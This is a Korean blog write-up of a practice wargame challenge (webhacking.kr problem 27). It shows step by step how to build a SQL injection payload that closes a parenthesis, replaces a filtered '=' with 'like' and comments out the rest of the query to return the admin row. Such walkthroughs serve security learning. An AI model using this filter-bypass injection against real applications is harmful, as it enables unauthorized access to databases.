정구리의 우주정복

webhacking.kr 27번 문제 본문

WEB HACKING/CLEAR!

webhacking.kr 27번 문제

Jungry_ 2018. 9. 27. 21:22
반응형

뚜둥 등장


처음에 들어가면 SQL INJECTION 이라고 써져있는 화면이 나온다

 



쏘쓰를 봐보쟈

index.phps 로 들어가라고 하니까 가보도록 하자


index.phps 의 쏘쓰다


no값을 받고 eregi 로 문자열들을 필터링 해주고 

select id from challenge where id='guest' and no=($_GET[no])   or die("query error")

이런 쿼리문이 있다 


그리고 solve의 조건은 id가 admin 일 때다 

저번에 sql injection 문제랑 푸는 조건은 같다 !


일단 input에 값을 넣어보자 

1을 넣은경우에는 guest 라고 나온다



2를 넣은 경우에는 이렇게 출력이 된다 

no         id

  1       guest

  ?       admin


이러한 형태의 테이블이 아닐까 라고 생각을 해본다


그럼 생각해야할것을 정리해보자

1) id 값을 admin으로 바꿔줘야함 ->or을 사용해주자 (그럼 or이 두개가 되는데 ?)

2) no=2 이런 형태일때 =가 필터링이 됨 ->like 를 사용해서 해결할 수 있음

3) get으로 불러오는 부분에 괄호가 있음 ! ->안에 값을 잘 생각해서 넣어보자 !!


1) or을 사용하기

select id from challenge where id='guest' and no=(3 or no=2)   or die("query error")

이때는 or문이 두개가 되고 no에괄호가 있고 =이 필터링이 된다

2) like의 사용

select id from challenge where id='guest' and no=(3 or no like 2)   or die("query error")

=이 필터링 되는 문제를 해결했지만 or문이 두개인거랑 괄호가 남음

3) 괄호를 닫아주자

select id from challenge where id='guest' and no=(3) or no like 2)   or die("query error")

4) 뒷부분을 주석처리 해버리기

select id from challenge where id='guest' and no=(3) or no like 2-- )   or die("query error")

--은 주석처리를 해버리는거다 (--를 사용하면 뒤에 공백을 붙여줘야한다 공백을 쓰기 싫으면 #를 써도됨!)

그래서 파란 글씨부분이 주석처리가 되면서 쿼리문은

select id from challenge where id='guest' and no=(3) or no like 2  

이렇게 되게 된다 ! 입력을 해보면



Clear !




반응형

'WEB HACKING > CLEAR!' 카테고리의 다른 글

wargame.kr flee button 풀이  (0) 2018.10.19
wargame.kr already got 풀이  (0) 2018.10.19
webhacking.kr 39번 문제  (0) 2018.09.25
webhacking.kr 38번 문제  (0) 2018.09.23
webhacking.kr 24번 문제  (0) 2018.09.22
Comments